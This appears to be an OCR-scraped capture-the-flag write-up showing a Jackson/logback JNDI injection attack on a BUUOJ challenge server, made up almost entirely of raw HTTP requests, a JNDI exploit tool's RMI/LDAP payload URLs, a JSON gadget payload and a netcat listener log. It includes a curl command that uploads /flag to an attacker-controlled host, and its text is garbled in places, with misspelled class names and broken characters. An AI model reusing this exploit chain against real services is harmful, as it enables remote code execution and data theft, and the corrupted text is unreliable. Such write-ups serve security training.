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POST /;/json HTTP/1.1

Host: abdaell6-e772-4ce@-8860-b85dbc7f27c2.noded.buuoj.cn:81

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=E@O995E63A26DD274E5BAB6C330E7518

Connection: close

Content-Type: application/json
Content-Length: 2
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root@VM-0-6-ubuntu:~/java/jndi

121.5.169.223
curl http://121.5.169.223:39767 -F file=@/flag

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in class
path):

rmi://121.5.169.223:1099/6dzonl

Target environment(Build in JDK 1.7 whose trustURLCodebase is true):

rmi://121.5.169.223:1099/0jakic

ldap://121.5.169.223:1389/0jakic

Target environment(Build in JDK 1.8 whose trustURLCodebase is true):

rmi://121.5.169.223:1099/wykevr

ldap://121.5.169.223:1389/wykevr

2021-10-30 21:59:26 [JETTYSERVER] Listening on ©.0.0.0:8180
2021-10-30 21:59:26 [RMISERVER] Listening on 0.0.0.0:1099
2021-10-30 21:59:27 [LDAPSERVER] Listening on ©.0.0.0:1389

B —AncE XA HdE:

¥ rmi://121.5.169.223:1099/6dzonl , BEATHTi:

POST /;/json HTTP/1.1

Host: abdaell6-e772-4ce@-8860-b85dbc7f27c2.noded.buuoj.cn:81

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;gq=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=E@O995E63A26DD274E5BAB6C330E7518

Connection: close

Content-Type: application/json

Content-Length: 98

["ch.qgos.logback.core.db.INDIConnectionSource",{"jndiLocation":"rmi://121.5.169.223:1099/6dzonl"}]
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root@VM-0-6-ubuntu:~# nc -lvvp 39767
Listening on [0.0.0.0] (family ©, port 39767)
Connection from 117.21.200.166 52663 received!
POST / HTTP/1.1

User-Agent: curl/7.38.0

Host: 121.5.169.223:39767

Accept: */*

Content-Length: 239

Expect: 100-continue

Content-Type: multipart/form-data; boundary=

644113426ad92d3d
Content-Disposition: form-data; name="file"; filename="flag"

Content-Type: application/octet-stream

flag{056d95fc-e903-41c0-9158-9c559701ee9c}

644113426ad92d3d- -

644113426ad92d3d
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